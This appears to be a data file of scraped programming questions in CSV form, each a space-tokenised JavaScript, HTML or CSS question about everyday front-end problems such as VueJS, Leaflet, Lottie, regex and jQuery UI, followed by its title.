glyphicon glyphicon-log-in '' > < /span > Returns < /a > < /li > < li class= '' active '' > < a href= '' /pay_reco '' target= '' _blank '' > < span class= '' glyphicon glyphicon-log-in '' > < /span > Payment Recouncillation < /a > < /li > < li > < a href= '' /pay_get '' target= '' _blank '' > < span class= '' glyphicon glyphicon-log-in '' > < /span > Payment Get < /a > < /li > < li > < a href= '' /import '' > < span class= '' glyphicon glyphicon-log-in '' > < /span > Import < /a > < /li > < li > < ! -- Here I want to add Two link in a href tag if first link does not available ( web page not available ) then it go to another link < ! -- < object data= '' http : /127.0.0.1:9004 '' type= '' href '' > -- > < a target= '' _blank '' href= '' http : //127.0.0.1:9001 '' > < span class= '' glyphicon glyphicon-log-in '' > < /span > ComPare < /a > < /li > < li > < a target= '' _blank '' href= '' http : //127.0.0.1:9000 '' > < span class= '' glyphicon glyphicon-log-in '' > < /span > Portal < /a > < /li >",Go to other link if a web page is not available in HTML/JavaScript "JS : I 'd like to access a VueJS variable from the success Dropzone event callback.All the code is OK , DropzoneJS & VueJS work fine together , but my variable photos is not accessible in the success callback.Here is a simple implementation of my script : Is there a best practice to access VueJS components variables this way ? Thanks < script > import Dropzone from 'dropzone ' ; export default { data ( ) { return { photos : [ ] } ; } , ready ( ) { Dropzone.autoDiscover = false ; new Dropzone ( 'form # upload-form ' , { url : ' ... ' , success : function ( file , response ) { this.photos = response.data.photos ; // this.photos is not accessible here } } ) ; } } < /script >",Javascript & VueJS variable access JS : Let 's say I made use of the following module-kind pattern in JavaScript : Is it advisable and if yes - how can I expose Foo for unit testing ? Is there some common technique or pattern for doing this ? var myModule = ( function ( ) { var Foo = function ( ) { /* ... */ } ; var Bar = function ( ) { this.foo = new Foo ( ) ; } ; Bar.prototype.someMethod = function ( ) { this.foo.someMethod ( ) ; } ; return { 'Bar ' : Bar } ; } ) ( ) ;,Unit test private classes "JS : On a HTML input field that has some padding defined , clicking on the padding area sets the cursor at the beginning of the line and not at the end.Why is that happening ? What would be a use case for this behaviour ? Any idea on how to prevent this and move always the cursor at the end of the line ? https : //jsfiddle.net/sf4x3uzL/1 < input style= '' padding:25px ; font-size:25px '' value= '' hello '' / >","Clicking on the padding of an input field sets the cursor at the beginning of the line , not at the end" "JS : The slider and shuffle lottie animations are supposed to run from 0 to 100 and then back to 0 when toggled ; like the box animation.However you can see that the slider animation disappears in the final frame and the shuffle animation seems to only go a part of the way through its animation before it stops.How do I get the slider and shuffle animations to run in the same way as the box where they run from 0 - > 100 and then back again ? Note that slider and box have additional code where only one can have the open state at a time . const anim1 = lottie.loadAnimation ( { container : document.getElementById ( `` box '' ) , renderer : `` svg '' , loop : false , autoplay : false , path : `` https : //cdn.statically.io/gist/moofawsaw/b8abeafe008f8b9ef040199c60a15162/raw/296dde84544ed1b41d5acfa303cca21c3ceee70f/lottie_box.json '' } ) ; anim1.setSpeed ( 5 ) ; const anim2 = lottie.loadAnimation ( { container : document.getElementById ( `` slider '' ) , renderer : `` svg '' , loop : false , autoplay : false , path : `` https : //gist.githubusercontent.com/moofawsaw/de2c253620930f2d582daceebff72665/raw/c5d7f528325aed481e6479da1c6921e62066de0b/lottie_sliders.json '' } ) ; anim2.setSpeed ( 16 ) ; const anim3 = lottie.loadAnimation ( { container : document.getElementById ( `` shuffle '' ) , renderer : `` svg '' , loop : false , autoplay : false , path : `` https : //cdn.statically.io/gist/moofawsaw/d009a2a791b03fbf37bca60de465e29c/raw/a87e77ea3362ba6f42cf65f86f0edbc37cb9f15b/lottie_shuffle.json '' } ) ; anim3.setSpeed ( 12 ) ; function toggle ( $ el , anim ) { $ el.toggleClass ( `` active '' ) ; const open = $ el.hasClass ( `` active '' ) ; $ el .closest ( `` .button '' ) .find ( `` .state '' ) .text ( open ? `` open '' : `` closed '' ) ; const start = open ? 0 : 100 ; anim.playSegments ( [ start , 100 - start ] , true ) ; } $ ( `` .lottie -- box '' ) .on ( `` click '' , function ( ) { var lottie = $ ( this ) .find ( `` # box '' ) ; toggle ( lottie , anim1 ) ; if ( lottie.hasClass ( `` active '' ) & & $ ( `` # slider '' ) .hasClass ( `` active '' ) ) toggle ( $ ( `` # slider '' ) , anim2 ) ; } ) ; $ ( `` .lottie -- slider '' ) .on ( `` click '' , function ( ) { var lottie = $ ( this ) .find ( `` # slider '' ) ; toggle ( lottie , anim2 ) ; if ( lottie.hasClass ( `` active '' ) & & $ ( `` # box '' ) .hasClass ( `` active '' ) ) toggle ( $ ( `` # box '' ) , anim1 ) ; } ) ; $ ( `` .lottie -- shuffle '' ) .on ( `` click '' , function ( ) { var lottie = $ ( this ) .find ( `` # shuffle '' ) ; toggle ( lottie , anim3 ) ; } ) ; .wrap { height : 32px ; width : 32px ; border : 2px solid white ; } .button { display : flex ; color : white ; align-items : center ; cursor : pointer ; height : 46px ; max-width : 270px ; min-width : 270px ; margin-top : 9px ; margin-right : 0.5rem ; margin-bottom : 6px ; border-style : none ; border-radius : 6px ; background-color : # 4aabf0 ; font-size : 16px ; } .lottie -- slider { background-color : # 756fe4 ; } .lottie -- shuffle { background-color : # fff ; border : 2px solid blue ; } # slider { width : 200px ; } # box path , # slider path { fill : white ; stroke : white ; } # box svg { min-height : 32px ; max-height : 32px ; } # slider svg { max-height : 26px ; } # shuffle svg { max-height : 62px ; } # shuffle svg , # box svg , # slider svg { transition : 0.2s cubic-bezier ( 0.45 , 0 , 0.55 , 1 ) ; } # box.active > svg { transform : scale ( 0.9 ) translatey ( 3px ) ! important ; transform-origin : center ; transition : 0.2s cubic-bezier ( 0.45 , 0 , 0.55 , 1 ) ; } .container { margin : 0px auto ; display : flex ; flex-direction : column ; align-items : center ; align-content : center ; } .state { min-width : 90px ; margin-left : 0.9rem ; } .lottie -- shuffle { color : blue } @ keyframes pulse { 0 % { transform : scale ( 0.6 ) ; } 50 % { transform : scale ( 1.1 ) ; } 100 % { transform : scale ( 1 ) ; } } < script src= '' https : //cdnjs.cloudflare.com/ajax/libs/jquery/3.3.1/jquery.min.js '' > < /script > < script src= '' https : //cdnjs.cloudflare.com/ajax/libs/bodymovin/5.7.0/lottie.min.js '' > < /script > < div class= '' container '' > < div class= '' button lottie -- box '' > < div id= '' box '' > < /div > < div class= '' state '' > closed < /div > < /div > < div class= '' button lottie -- slider '' > < div id= '' slider '' > < /div > < div class= '' state '' > closed < /div > < /div > < div class= '' button lottie -- shuffle '' > < div id= '' shuffle '' > < /div > < div class= '' state '' > closed < /div > < /div > < /div >",jQuery - Bodymovin JSON not loading "JS : I have a map with Geojson polygons where each polygon is identified by a unique ID . I have a separate Geojson of point markers where each point is associated with a polygon with the same polygon ID , as well as a unique identifier for each individual point . The initial map display is of only polygons . Each polygon click will display the points that are associated with the clicked polygon . When a new polygon is clicked , I want to plot the points associated with the new polygon while simultaneously removing the previously plotted points . So each time the user clicks a polygon , ONLY points within that polygon are ever displayed . Here is some minimally reproducible code : https : //jsfiddle.net/3v7hd2vx/1146/In this example , the entire layerGroup of points is removed every other click based on the conditional statement at the end of the code block . But each new click continues to append markers to the layerGroup , so ALL selected markers are displayed every other click . My inclination is to have each `` group '' of markers named by the polygon that they lie within , so when displayed markers do not match the currently clicked polygon ID , they will be removed both from the map AND from the layerGroup . I 've worked extensively with Leaflet in R , but I 'm not sure how to accomplish this in JS ( or if the logic is even the same in the different languages ) . I ca n't manually define each layer because I 'll be iterating through many dynamically loaded polygons and points . var polys = { `` type '' : `` FeatureCollection '' , `` features '' : [ { `` type '' : `` Feature '' , `` properties '' : { `` stroke '' : `` # 555555 '' , `` stroke-width '' : 2 , `` stroke-opacity '' : 1 , `` fill '' : `` # 555555 '' , `` fill-opacity '' : 0.5 , `` polygon '' : `` one '' } , `` geometry '' : { `` type '' : `` Polygon '' , `` coordinates '' : [ [ [ -87.33032226562499 , 37.90953361677018 ] , [ -85.374755859375 , 37.90953361677018 ] , [ -85.374755859375 , 39.036252959636606 ] , [ -87.33032226562499 , 39.036252959636606 ] , [ -87.33032226562499 , 37.90953361677018 ] ] ] } } , { `` type '' : `` Feature '' , `` properties '' : { `` stroke '' : `` # 555555 '' , `` stroke-width '' : 2 , `` stroke-opacity '' : 1 , `` fill '' : `` # 555555 '' , `` fill-opacity '' : 0.5 , `` polygon '' : `` two '' } , `` geometry '' : { `` type '' : `` Polygon '' , `` coordinates '' : [ [ [ -85.3857421875 , 37.90953361677018 ] , [ -83.3642578125 , 37.90953361677018 ] , [ -83.3642578125 , 39.04478604850143 ] , [ -85.3857421875 , 39.04478604850143 ] , [ -85.3857421875 , 37.90953361677018 ] ] ] } } , { `` type '' : `` Feature '' , `` properties '' : { `` stroke '' : `` # 555555 '' , `` stroke-width '' : 2 , `` stroke-opacity '' : 1 , `` fill '' : `` # 555555 '' , `` fill-opacity '' : 0.5 , `` polygon '' : `` three '' } , `` geometry '' : { `` type '' : `` Polygon '' , `` coordinates '' : [ [ [ -87.34130859375 , 36.90597988519294 ] , [ -83.3642578125 , 36.90597988519294 ] , [ -83.3642578125 , 37.91820111976663 ] , [ -87.34130859375 , 37.91820111976663 ] , [ -87.34130859375 , 36.90597988519294 ] ] ] } } ] } ; var pts = { `` type '' : `` FeatureCollection '' , `` features '' : [ { `` type '' : `` Feature '' , `` properties '' : { `` marker-color '' : `` # 7e7e7e '' , `` marker-size '' : `` medium '' , `` marker-symbol '' : `` '' , `` id '' : `` one '' , `` animal '' : `` bear '' } , `` geometry '' : { `` type '' : `` Point '' , `` coordinates '' : [ -86.72607421875 , 38.77121637244273 ] } } , { `` type '' : `` Feature '' , `` properties '' : { `` marker-color '' : `` # 7e7e7e '' , `` marker-size '' : `` medium '' , `` marker-symbol '' : `` '' , `` id '' : `` one '' , `` animal '' : `` fish '' } , `` geometry '' : { `` type '' : `` Point '' , `` coordinates '' : [ -86.583251953125 , 38.487994609214795 ] } } , { `` type '' : `` Feature '' , `` properties '' : { `` marker-color '' : `` # 7e7e7e '' , `` marker-size '' : `` medium '' , `` marker-symbol '' : `` '' , `` id '' : `` two '' , `` animal '' : `` tiger '' } , `` geometry '' : { `` type '' : `` Point '' , `` coordinates '' : [ -84.276123046875 , 38.38472766885085 ] } } , { `` type '' : `` Feature '' , `` properties '' : { `` marker-color '' : `` # 7e7e7e '' , `` marker-size '' : `` medium '' , `` marker-symbol '' : `` '' , `` id '' : `` two '' , `` animal '' : `` lizard '' } , `` geometry '' : { `` type '' : `` Point '' , `` coordinates '' : [ -85.067138671875 , 38.70265930723801 ] } } , { `` type '' : `` Feature '' , `` properties '' : { `` marker-color '' : `` # 7e7e7e '' , `` marker-size '' : `` medium '' , `` marker-symbol '' : `` '' , `` id '' : `` three '' , `` animal '' : `` dog '' } , `` geometry '' : { `` type '' : `` Point '' , `` coordinates '' : [ -83.880615234375 , 37.483576550426996 ] } } , { `` type '' : `` Feature '' , `` properties '' : { `` marker-color '' : `` # 7e7e7e '' , `` marker-size '' : `` medium '' , `` marker-symbol '' : `` '' , `` id '' : `` three '' , `` animal '' : `` horse '' } , `` geometry '' : { `` type '' : `` Point '' , `` coordinates '' : [ -85.93505859374999 , 37.709899354855125 ] } } ] } ; var map = L.map ( `` map '' , { center : [ 37.5 , -85 ] , zoom : 7 } ) ; L.tileLayer ( `` http : // { s } .tile.osm.org/ { z } / { x } / { y } .png '' ) .addTo ( map ) ; var defaultStyle = { fillColor : `` whitesmoke '' , color : `` # 171717 '' , fillOpacity : 1 , weight : 1 } ; // create polygon geojson , add to map var polyJson = L.geoJson ( polys , defaultStyle ) .addTo ( map ) ; // empty layer group to add markers to var layerGroup = L.layerGroup ( ) ; // loop through polygon layers for eventspolyJson.eachLayer ( function ( layer ) { // zoom to bbox on each polygon click layer.on ( `` click '' , function ( e ) { var bbox = e.target.getBounds ( ) ; var sw = bbox.getSouthWest ( ) ; var ne = bbox.getNorthEast ( ) ; map.fitBounds ( [ sw , ne ] ) ; // the clicked polygon identifier var clickedPoly = e.target.feature.properties.polygon ; // pts added to map when they match the clickedpoly id L.geoJson ( pts , { pointToLayer : function ( feature , latlng ) { if ( feature.properties.id === clickedPoly ) { var clicked = L.circleMarker ( latlng , { color : `` red '' } ) .addTo ( map ) .addTo ( layerGroup ) ; } } } ) ; } ) ; } ) ; polyJson.on ( `` click '' , function ( ) { if ( map.hasLayer ( layerGroup ) ) { map.removeLayer ( layerGroup ) ; } else { map.addLayer ( layerGroup ) ; //layerGroup.removeLayers ( ) ; } } ) ;",How to simultaneously add new markers and remove old markers associated with polygon clicks in leaflet "JS : I normally use this pattern to iterate over object properties : I do n't like this excessive indentation and recently it was pointed out to me that I could get rid of it by doing this : I like this because it does n't introduce the extra level of indentation . Is this pattern alright , or are there better ways ? for ( var property in object ) { if ( object.hasOwnProperty ( property ) ) { ... } } for ( var property in object ) { if ( ! object.hasOwnProperty ( property ) ) { continue ; } ... }",Is an if with a continue a good pattern to prevent excessive nesting while iterating over properties in Javascript ? "JS : You can find a lot of answers to `` rotate square two dimensional array '' , but not `` rotate non square two dimensional array '' , and even though some answers do work like this one : They only work the first time you rotate . If you rotate again , you go back to the first array , which is not what I want , I want all 3 possible combinations of an array rotated by 90 ' . rotate ( tab ) { return tab [ 0 ] .map ( function ( col , i ) { return tab.map ( function ( lig ) { return lig [ i ] ; } ) } ) ; }",How to rotate non square two dimensional array twice to have all possible rotations ? "JS : I am familiar with OOP concepts through the languages like C++ , Java . Right now I am trying to learn JavaScript as a hobby , mainly due to the interest in WebGL . But I am having troubles with prototype based inheritance.Let 's say I have a base class which accepts a parameter in constructor . And I need to extend this . The way I am doing this is shown below.Now this is what I understand : A single Base object is serving as the prototype of Derived . So all instances of Derived will inherit properties from this Base object , e.g . the print method . When I call new Derived ( 10 ) then a new object is created , function Derived is called in the context of this newly created object , i.e . this points to newly created object , and function Base is called from function Derived , and then _n is created and assigned the value 10 . So if I create 5 Derived objects , all of them will have their own _n property . So far this is okay.But I do n't like this line : Function Base expects an argument but I am passing nothing here . There is no point of passing a parameter here as this object will act as prototype of Derived . And I do n't need any value of _n for this prototype object . But what if the function Base depends on the argument ? Say , Base loads a resource and the path is passed as parameter . What to do then ? To summarize , my questions are : What to do with data members in prototype object ( _n in this example ) ? Derived.prototype = new Base ; is creating an instance of Base and this will remain in memory always ( assuming Derived is defined in global space ) . What to do if Base class is very costly and I do n't want an extra object ? function Base ( n ) { this._n = n ; } Base.prototype.print = function ( ) { console.log ( this._n ) ; } function Derived ( n ) { Base.call ( this , n ) ; } Derived.prototype = new Base ; Derived.prototype.constructor = Derived ; Derived.prototype = new Base ;",JS : Confusion about inheritance "JS : ContextI have some CSS to do transitions : I 'm trying to find the maximum value in this list , which is easy enough to do with a regular expression.My issue is that when I get the CSS value it comes back asNow my regex gets the delay values ( `` 0 '' ) as well . Considering I 'm trying to find the maximum , that 's fine as well , but I 'm a purist at heart , and I would like to limit the matches to just the transition times.My Broken SolutionThe regex I concocted isThe reasoning breakdown : When I runthe results for each m are : jsfiddle exampleI thought the idea of a non-capturing group was that it would match the characters , but ignore them when you tried to access the groups.I have a hunch that I 'm looking at matches rather than groups , but I have n't figured out how to get the groups instead.Help ? UPDATE 1Per the comment , I updated and tried using RegExp.exec ( ) ( which I had already tried before , though it did n't work right until I updated r ) . The result ism [ 1 ] does capture the first number , but it ignores the following ones.I also discovered that the issue I was having with t.match ( r ) was the /g flag . Removing it gives the same result as r.exec ( t ) .Aside from splitting t on ' , ' and running the regex on each term , is there a way to do this in a single regex ? UPDATE 2 @ Esteban Felix 's alternative answer is clearly the best option.TL ; DR : Use the above for this case , but here 's an explanation of why maybe you should n't in other cases.The only modification I would consider would be appending + to the end of [ ^\d\. , ] , in order to decrease the number of replacements and improving performance by an imperceivable amount in more common strings ( not the .css ( 'transition-duration ' ) case , as I 'll explain in a second ) .The reason it might improve performance is that in Javascript , strings are immutable , so creating a new string for every character being removed takes up time . In my case , that 's only the 's and s 's . With a string ofthe spaces and the s 's are never next to each other , so the result would actually be a worsening of performance since now the regex engine has to check the following character every time it finds a character to remove . However , in more common strings where you remove a lot of consecutive characters , adding the + could improve performance . The only reason it might not is if the implementation of String.replace ( ) is smart , and uses a character array behind the scenes , only allocating space for a new string at the end of the function . This aspect is browser-dependent , but I would guess it 's the common case for modern browsers.It 's also worth noting that it 's important to use a + and not a * , as the latter would match every position between characters , replacing the matched empty string with the specified empty string . I do n't know whether the javascript engine would create a ton of new , identical strings or not , but it certainly ca n't improve performance.If you really care about this commonly-negligible performance bump , do some ( read : a lot of ) benchmarking . The only possible way you will see any difference at all is ifyou are running the code on a Compaq Presario 286 MMX with 64MB of RAM ( i.e . my first computer from 1997 ) oryou run this regex replacement many thousands of times in an inner loop on strings where most of the characters to be removed are in long , unbroken runs inInternet Explorer 1.5So , the modification to the selected answer might in fact reduce performance depending on your browser and the type of strings you run it against , but , as I said before , I 'm a purist , and love generalization and optimization , and thus my explanation . div.mad { -webkit-transition : top .4s , left .5s linear , opacity .75s , padding-top 1s ; transition : top .4s , left .5s linear , opacity 3s , padding-top 1s ; } / ( \d*\ . ) { 0 , 1 } \d+/g $ ( `` div.mad '' ) .css ( `` transition '' ) top 0.4s ease 0s , left 0.5s linear 0s , opacity 3s ease 0s , padding-top 1s ease 0s / ( ? : [ ^\d\. ] * ) ( ( \d*\ . ) { 0 , 1 } \d+ ) ( ? : s [ ^ , ] * ) /g ( ? : [ ^\d\ . ] * ) -- non-capturing group that looks for anything that is not a digit or a decimal point -- should match `` top `` , `` left `` , etc . ( -- begin capture group ( \d*\ . ) { 0 , 1 } -- capture ones , tens , etc + decimal point , if it exists \d+ -- capture tenths , hundreds , etc if decimal exists , else capture ones , tens , etc ) -- close capture group ( ? : s [ ^ , ] * ) -- non-capturing group for the remainder of the transition element var t = `` top 0.4s ease 0s , left 0.5s linear 0s , opacity 3s ease 0s , padding-top 1s ease 0s '' ; var r = / [ ^\d\. ] * ( ( \d*\ . ) { 0,1 } \d* ) s [ ^ , ] */gvar m = t.match ( r ) ; m [ 0 ] = `` top 0.4s ease 0s '' m [ 1 ] = `` , left 0.5s linear 0s '' m [ 2 ] = `` , opacity 3s ease 0s '' m [ 3 ] = `` , padding-top 1s ease 0s '' r = / ( ? : ( ? : [ \ , ] * , ) * [ ^\d\. ] * ) ( \d*\ . ? \d+ ) s [ ^ , ] */ m [ 0 ] = `` top 0.4s ease 0s '' m [ 1 ] = `` 0.4 '' $ ( 'div.mad ' ) .css ( 'transition-duration ' ) .replace ( / [ ^\d\. , ] /g , '' ) .split ( ' , ' ) ; 0.4s , 0.5s , 0.75s , 1s",Capturing first number in text with regex in javascript "JS : Is there a way to have polymorphism in the inheritance of a widget in jQuery UI ? For example I want to do something like : Then I want to use the method `` getValue '' without knowing the name of the son class : But this is not possible : In the forum of JQuery , Scott Gonzalez explains that `` Creating a widget only creates one widget , not every widget in the prototype chain '' linkThere is any workaround or solution to do this in an elegant way ? $ .widget ( 'tr.fatherClass ' , { getValue : function ( ) { return null ; } ... } ) ; // sonClass1 : extends from the father $ .widget ( 'tr.sonClass1 ' , $ .tr.fatherClass , { getValue : function ( ) { return this._fooFunction1 ( ) ; } ... } ) ; // sonClass2 : extends from the father $ .widget ( 'tr.sonClass2 ' , $ .tr.fatherClass , { getValue : function ( ) { return this._fooFunction2 ( ) ; // } ... } ) ; // create an instance of a `` sonClass '' $ ( ' # foo1 ' ) .sonClass1 ( options ) ; $ ( ' # foo2 ' ) .sonClass2 ( options ) ; $ ( ' # foo1 ' ) .fatherClass ( 'getValue ' ) ; // run _fooFunction1 ( ) of sonClass1 $ ( ' # foo2 ' ) .fatherClass ( 'getValue ' ) ; // run _fooFunction2 ( ) of sonClass2 jquery.js:250 Uncaught Error : can not call methods on variable prior to initialization ; attempted to call method 'getValue '",JQuery UI inheritance polymorphism "JS : I am trying to clone the Child Age Field based on the value selected for the Number of Kids in order to select the age pf each kid/.HTML is : ROOM 1ROOM 2And the jQuery code that is use is The code should clone the age 1 field based on the value selected of the kid count selector so i can chose the age for each kid.I have created the JSFiddle < div class= '' col-xs-4 '' > < label > Copii < /label > < div class= '' selector '' > < select id='kids-1 ' name= '' rooms [ 0 ] [ child ] '' class= '' full-width '' > < option value= '' 0 '' > 0 < /option > < option value= '' 1 '' > 1 < /option > < option value= '' 2 '' > 2 < /option > < option value= '' 3 '' > 3 < /option > > < /select > < /div > < /div > < div class= '' age-of-children no-display '' > < div class= '' row '' > < div class= '' col-xs-4 child-age-field '' > < label > Copil 1 < /label > < div class= '' selector validation-field '' > < select id='age-1 ' class= '' full-width '' name= '' rooms [ 0 ] [ age ] [ ] '' > < option value= '' 5 '' > 5 < /option > < option value= '' 6 '' > 6 < /option > < option value= '' 7 '' > 7 < /option > < option value= '' 8 '' > 8 < /option > < option value= '' 9 '' > 9 < /option > < option value= '' 10 '' > 10 < /option > < option value= '' 11 '' > 11 < /option > < /select > < /div > < /div > < /div > < /div > < div class= '' col-xs-4 '' > < label > Copii < /label > < div class= '' selector '' > < select id='kids-2 ' name= '' rooms [ 1 ] [ child ] '' class= '' full-width '' > < option value= '' 0 '' > 0 < /option > < option value= '' 1 '' > 1 < /option > < option value= '' 2 '' > 2 < /option > < option value= '' 3 '' > 3 < /option > > < /select > < /div > < /div > < div class= '' age-of-children no-display '' > < div class= '' row '' > < div class= '' col-xs-4 child-age-field '' > < label > Copil 1 < /label > < div class= '' selector validation-field '' > < select id='age-2 ' class= '' full-width '' name= '' rooms [ 1 ] [ age ] [ ] '' > < option value= '' 5 '' > 5 < /option > < option value= '' 6 '' > 6 < /option > < option value= '' 7 '' > 7 < /option > < option value= '' 8 '' > 8 < /option > < option value= '' 9 '' > 9 < /option > < option value= '' 10 '' > 10 < /option > < option value= '' 11 '' > 11 < /option > < /select > < /div > < /div > < /div > < /div > // handle kid age from room 1tjq ( 'select [ id=kids-1 ] ' ) .change ( function ( ) { var prev_kids = tjq ( '.age-of-children .child-age-field ' ) .length ; tjq ( '.age-of-children ' ) .removeClass ( 'no-display ' ) ; var i ; if ( prev_kids > tjq ( this ) .val ( ) ) { var current_kids = tjq ( this ) .val ( ) ; if ( current_kids == 0 ) { current_kids = 1 ; tjq ( '.age-of-children ' ) .addClass ( 'no-display ' ) ; } for ( i = prev_kids ; i > current_kids ; -- i ) { tjq ( '.age-of-children .child-age-field ' ) .eq ( i-1 ) .remove ( ) ; } } else { for ( i = prev_kids + 1 ; i < = tjq ( this ) .val ( ) ; i++ ) { var clone_age_last = tjq ( '.age-of-children .child-age-field : last ' ) .clone ( ) ; var clone_age = clone_age_last.clone ( ) ; tjq ( '.age-of-children .row ' ) .append ( clone_age ) ; var name = clone_age.find ( 'label ' ) .text ( ) .replace ( / ( \d+ ) / , function ( match , p1 ) { return ( parseInt ( p1 ) + 1 ) ; } ) ; clone_age.find ( 'label ' ) .text ( name ) ; clone_age.find ( 'select ' ) .val ( 0 ) ; clone_age.find ( '.custom-select ' ) .text ( 0 ) ; } } } ) ; // handle kid age from room 2tjq ( 'select [ id=kids-2 ] ' ) .change ( function ( ) { var prev_kids = tjq ( '.age-of-children .child-age-field ' ) .length ; tjq ( '.age-of-children ' ) .removeClass ( 'no-display ' ) ; var i ; if ( prev_kids > tjq ( this ) .val ( ) ) { var current_kids = tjq ( this ) .val ( ) ; if ( current_kids == 0 ) { current_kids = 1 ; tjq ( '.age-of-children ' ) .addClass ( 'no-display ' ) ; } for ( i = prev_kids ; i > current_kids ; -- i ) { tjq ( '.age-of-children .child-age-field ' ) .eq ( i-1 ) .remove ( ) ; } } else { for ( i = prev_kids + 1 ; i < = tjq ( this ) .val ( ) ; i++ ) { var clone_age_last = tjq ( '.age-of-children .child-age-field : last ' ) .clone ( ) ; var clone_age = clone_age_last.clone ( ) ; tjq ( '.age-of-children .row ' ) .append ( clone_age ) ; var name = clone_age.find ( 'label ' ) .text ( ) .replace ( / ( \d+ ) / , function ( match , p1 ) { return ( parseInt ( p1 ) + 1 ) ; } ) ; clone_age.find ( 'label ' ) .text ( name ) ; clone_age.find ( 'select ' ) .val ( 0 ) ; clone_age.find ( '.custom-select ' ) .text ( 0 ) ; } } } ) ;",Clone HTML DIV with jQuery on select "JS : I use the javascript plugin dataTables.fixedHeader and fill the data with ajax.Now I have the problem , that the width of each data-column is dynamically and the header stays on the same static width.Code : HTML : JS : Fill it : < table class= '' table table-striped table-bordered table-hover '' id= '' custTable '' > < thead > < tr > < th > ... ... < /th > < th > ... ... < /th > < th > ... ... < /th > ... ... < /tr > < /thead > < tbody id= '' dataList '' > < /tbody > < /table > table = $ ( ' # custTable ' ) .DataTable ( { `` dom '' : `` frtiS '' , `` deferRender '' : true , } ) ; $ ( ' # custTable ' ) .dataTable ( ) .fnAddData ( [ xyz , xyz , xyz , ... ] ) ;",JS dataTables.fixedHeader different width between header and datas "JS : I want to construct a string which contains arabic symbols and stringified formated numbers . It looks like : But this string appears in reversed order in myDiv . The numbers are also uglified to `` 438,62 01 '' or something like that . I do n't need this in my case . How to prevent reversing ? Important to say , that this CSS rule does n't help : EDIT : I also noticed that if I use console.log ( str ) it already appears in reversed order in browser 's console . The string becomes wrong even before using innerHTML . var str = `` some_arabic_text : `` + `` 10 834,26 '' + `` more_arabic_text : `` + `` 2 921,96 '' myDiv.innerHTML = str ; # myDiv { direction : ltr ; }",How to prevent right-to-left text appearance while using Arabic language ? "JS : I call this function with two elements having the same parentNode : As you can see that both elements have same parent , which means they are inside same branch of the DOM tree , how come they have different offsetParent ? I notice here that div has relative position , which seems to be the reason because when I remove it both alerts give true . ( but normally the position of an element should not affect its offsetParent ) /* I have edited the function after some more invistigation it should show more where lies the problem */ I got the same results on FF and Chrome . parentNode of both elements is a table-tdThank you for answering . var test = function ( target , div ) { alert ( div.parentNode == target.parentNode ) ; // gives true alert ( div.offsetParent == target.offsetParent ) ; // gives true div.setAttribute ( `` style '' , `` position : relative ; float : left ; height : '' + target.offsetHeight + `` px ; '' ) ; alert ( div.parentNode == target.parentNode ) ; // gives true alert ( div.offsetParent == target.offsetParent ) ; // gives false ! ! ! }",two divs have same parentNode but different offsetParent "JS : I am able to run automated tests both on Desktop , Mobile devices using Protractor + Appium . However having issues to run custom test , that work only in Desktop/Mobile only.for eg : One of my test validates Breadcrumbs , which are displayed only in Desktop screen resolution . Would you please advise , if there is a solution to check if test is being executed in Desktop or Mobile . Similar to the following , to check if browser is Chrome or not.Thanks in advance . eg ; it ( 'check breadcrumb in website ' , function ( ) { if ( isDesktop ( ) ) { contentItemPage.checkBreadCrumb ( ) ; } } ) ; function isChromeBrowser ( ) { browser.getProcessedConfig ( ) .then ( function ( config ) { if ( config.capabilities.browserName.valueOf ( ) === new String ( 'chrome ' ) .valueOf ( ) ) { return true ; } return false ; } ) ; }",Protractor - Appium - "JS : In the following example , when you click on the label , the input changes state.In Chrome , when you move the cursor between the mousedown and mouseup events the input still gets triggered , whereas in Firefox the checkbox does n't change state . Is there a way to fix this ? ( without using JavaScript event listeners ) Firefox version : 69.0.3 ( 64-bit ) Full set of actions when using chrome.Press the button over the labelMove the cursor around ( even outside the label ) while still holding the buttonReturn the cursor back to the label Release the button document.querySelector ( `` label '' ) .addEventListener ( `` click '' , function ( ) { console.log ( `` clicked label '' ) ; } ) ; label { -webkit-user-select : none ; -moz-user-select : none ; -ms-user-select : none ; user-select : none ; } < input type= '' checkbox '' id= '' 1 '' > < label for= '' 1 '' > Label < /label >",HTML Label does n't trigger the respective input if the mouse gets moved while clicking in Firefox "JS : I have a bunch of images that correspond to a list containing their names.When the image is clicked it fades out the image then using data-item finds its corresponding name on the list and then crosses it out in red and changes the list item word to grey . I have code but it is not working or throwing any errors in console . I am new to jQuery.How would I connect the clicked image with the correct list name and then change the font color to grey and give it a different color ( red ) strike through ? I 'd love to animate the strike through but that may be too involved . Advice is welcome : ) Any help is appreciated ! Here is a snippet of the code : CSSHTMLJS .stroked { text-decoration : line-through ; color : red ; } .found { color : # 282828 ! important ; } < ! -- image items -- > < div class= '' picItem '' data-item= '' Dart '' > < img src= '' Dart.png '' / > < /div > < div class= '' picItem '' data-item= '' Dice '' > < img src= '' Dice.png '' / > < /div > < div class= '' itemWrapper '' > < ul class= '' itemList '' > < li class= '' olive '' > Olive < /li > < li class= '' dart '' > Dart < /li > < li class= '' dice '' > Dice < /li > < /ul > < /div > < ! -- /itemWrapper -- > // Handle the picture item clicks $ ( '.picItem ' ) .on ( 'click ' , function ( ) { //grab appropriate list item view data-item for strikeThrough function strikeThrough ( $ ( this ) .data ( 'item ' ) ) ; $ ( this ) .fadeOut ( 400 , function ( ) { } ) ; } ) ; function strikeThrough ( ) { if ( $ ( '.itemList li ' ) .hasClass ( 'stroked ' ) ) { return ; } else { $ ( this ) .addClass ( 'stroked ' ) ; $ ( this ) .addClass ( 'found ' ) ; } }","jQuery - once item is clicked , grab data-item for li and apply a strike through to text in li ( animate ? )" "JS : Is it possible to use websharper as a drop-in replacement for javascript without the additional complexity of sitelets or ASP.NET ? For example , can I compile the following websharper library to a .js file and call the hello ( ) function from within a javascript script block in my html ? namespace WebSharperLibopen IntelliFactory.WebSharpermodule HelloWorld = [ < JavaScript > ] let hello ( ) = IntelliFactory.WebSharper.JavaScript.Alert ( `` Hello World '' )",Possible to use websharper as a drop-in JS replacement ? "JS : Within the leaflet package for R , is there a way to click on a marker , and be directed to a URL ? *Here 's the JS solution . In R , to add a Popup with a URL : It 's also straightforward to add a Marker that , when clicked , provides a URL in the popup : Perhaps something custom passed to leaflet in ... ? Lastly , how could a custom JS function display different URLs for each map marker ? Consider the example data.frame : *This was previously asked , but I 'm asking the question again here and making a minimal , reproducible example . library ( leaflet ) content < - paste ( sep = `` < br/ > '' , `` < b > < a href='http : //www.samurainoodle.com ' > Samurai Noodle < /a > < /b > '' ) leaflet ( ) % > % addTiles ( ) % > % addPopups ( -122.327298 , 